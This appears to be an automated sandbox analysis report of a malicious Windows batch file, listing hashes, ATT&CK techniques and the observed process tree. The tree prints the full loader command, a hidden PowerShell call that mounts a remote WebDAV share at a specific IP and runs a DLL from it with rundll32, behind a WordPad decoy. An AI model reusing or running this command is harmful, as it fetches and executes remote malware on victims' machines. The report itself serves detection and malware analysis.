9fb243b67b14f6bf80a8bc5625aab707ea8da378202d9c5fc5cfa49491cf6225

Analysis

max time kernel
140s
max time network
125s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
14/07/2024, 03:36

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General

Target

245475488597929786.bat
Size

2KB
MD5

88cdc45900f4cd6070b96debf6a5a9fb
SHA1

609bed508272c223ae50eb35ecf3b97d8b806bd4
SHA256

9fb243b67b14f6bf80a8bc5625aab707ea8da378202d9c5fc5cfa49491cf6225
SHA512

3f8aca64ce5e86912699b6de57850dc70d2b7728784c6ce5475c2c6f78caaad6aabb187e6d60a8462da5fd610ea6a5d34914acba97e0c4d319f9fa7a6b919b63

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1392	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1403246978-718555486-3105247137-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1392	powershell.exe
1392	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1392	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
4820	wordpad.exe
4820	wordpad.exe
4820	wordpad.exe
4820	wordpad.exe
4820	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4904 wrote to memory of 4820	4904	cmd.exe	84
PID 4904 wrote to memory of 4820	4904	cmd.exe	84
PID 4904 wrote to memory of 1392	4904	cmd.exe	86
PID 4904 wrote to memory of 1392	4904	cmd.exe	86
PID 1392 wrote to memory of 4588	1392	powershell.exe	88
PID 1392 wrote to memory of 4588	1392	powershell.exe	88
PID 1392 wrote to memory of 3104	1392	powershell.exe	89
PID 1392 wrote to memory of 3104	1392	powershell.exe	89

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\245475488597929786.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4904
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:4820
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\2844.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1392
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:4588
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\2844.dll,entry
    3⤵
    PID:3104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2288

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1y3aiqxx.ig1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1392-9-0x000001F42FA10000-0x000001F42FA32000-memory.dmp

Filesize
136KB

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